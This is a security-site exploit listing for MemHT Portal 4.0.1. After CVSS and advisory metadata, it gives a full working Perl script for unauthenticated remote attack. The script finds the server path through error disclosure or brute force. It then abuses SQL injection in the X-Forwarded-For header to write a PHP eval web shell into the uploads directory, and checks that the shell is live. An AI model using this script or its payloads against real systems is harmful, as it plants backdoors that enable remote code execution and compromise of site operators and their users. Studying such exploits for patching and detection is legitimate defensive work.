MemHT Portal 4.0.1 SQL Injection Code Execution Exploit

2008.11.20
Credit: Ams
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl =about MemHT 4.0.1 Perl exploit AUTHOR discovered & written by Ams ax330d [doggy] gmail [dot] com VULN. DESCRIPTION: Due to weak params filtering we are able to make SQL-Injection. So, 1. Look at 'inc/ajax/ajax_rating.php', line ~ 29. It is not enough to check whether script has been accessed from main file. Better define some value. 2. 'inc/inc_login.php' line ~ 35. Here we are able to send and bypass any IP. That eregi does not help, look at exploit in injection, comma is the last one. As proof this exploit creates simple shell. REQUIREMENTS: MySQL should be able to write to file Know full server path to portal =cut use strict; use warnings; use IO::Socket; print " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ MemHT portal 4.0.1 Perl exploit ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ "; my $expl_url = shift or &usage; my $serv_path = shift || '-b'; my $def_shell = '/uploads/file/files.php'; # Simple concept shell my $shell = '<?php @eval($_GET[cmd]);'; my @paths = qw( /var/www/htdocs /var/www/localhost/htdocs /var/www /var/wwww/hosting /var/www/html /var/www/vhosts /home/www /home/httpd/vhosts /usr/local/apache/htdocs /www/htdocs ); @paths = ( $serv_path ) unless $serv_path eq '-b'; exploit( $expl_url ); sub exploit { # Defining vars. $_ = shift; $_ .= '/' unless substr($_, -1) eq '/'; print "\n\tExploiting:\t $_\n"; my($packet, $rcvd, $injection); my($prot, $host, $path, ) = m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?}; # Trying to get /lang/english.php to get server path $packet = "POST $path/lang/english.php HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; $rcvd = send_pckt($host, $packet, 1); die "\n\tUnable to connect to $host!\n\n" unless $rcvd; if( $rcvd =~ /Undefined variable:/ ) { @paths = ($rcvd =~ m#\s+in\s+(.*?)${path}lang/english.php#); print "\n\tFound path:\t $paths[-1]\n"; } else { print "\n\tStarting bruteforce...\n"; } # Some bruteforce here if path is not defined for $serv_path ( @paths ) { $injection = "' UNION SELECT '$shell' INTO OUTFILE '$serv_path$path$def_shell'-- /*,"; print "\n\tTesting:\t $serv_path$path$def_shell ...\n"; # Sending poisoned request $packet = "GET $path/inc/ajax/ajax_rating.php HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "X-Forwarded-For:$injection\r\n"; $packet .= "Referer:http://$host$path/index.php\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; send_pckt($host, $packet, 1) or die "\n\tUnable to connect to http://$host!\n\n"; } # Checking for shell presence $packet = "HEAD $path$def_shell HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n"; $rcvd = send_pckt($host, $packet, 1); if( ! $rcvd) { print "\n\tUnable to connect to $host\n\n"; exit; } if( $rcvd =~ /200\s+OK/ ) { print "\n\tExploited:\t http://$host$path$def_shell\n\n"; } else { print "\n\tExploiting failed.\n\n"; } } sub send_pckt() { my $dat; my ($host, $packet, $ret) = @_; my $socket = IO::Socket::INET->new( Proto => 'tcp', PeerAddr => $host, PeerPort => 80 ); if( ! $socket) { return 0; } else { print $socket $packet; if( $ret ) { local $/; $dat = <$socket>; } close $socket; return $dat; } } sub usage { print "\n\tUsage:\t$0 http://site.com [-b|full server path] By default exlpoit checks /lang/english.php for errors to get real path, If path could not be found exploit will bruteforce it ( or if used -b or none path is specified ). Example:\t$0 http://localhost/ /var/www/htdocs $0 http://localhost/ -b $0 http://localhost/\n\n"; exit; }

References:

http://www.securityfocus.com/bid/32294
http://secunia.com/advisories/32632


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top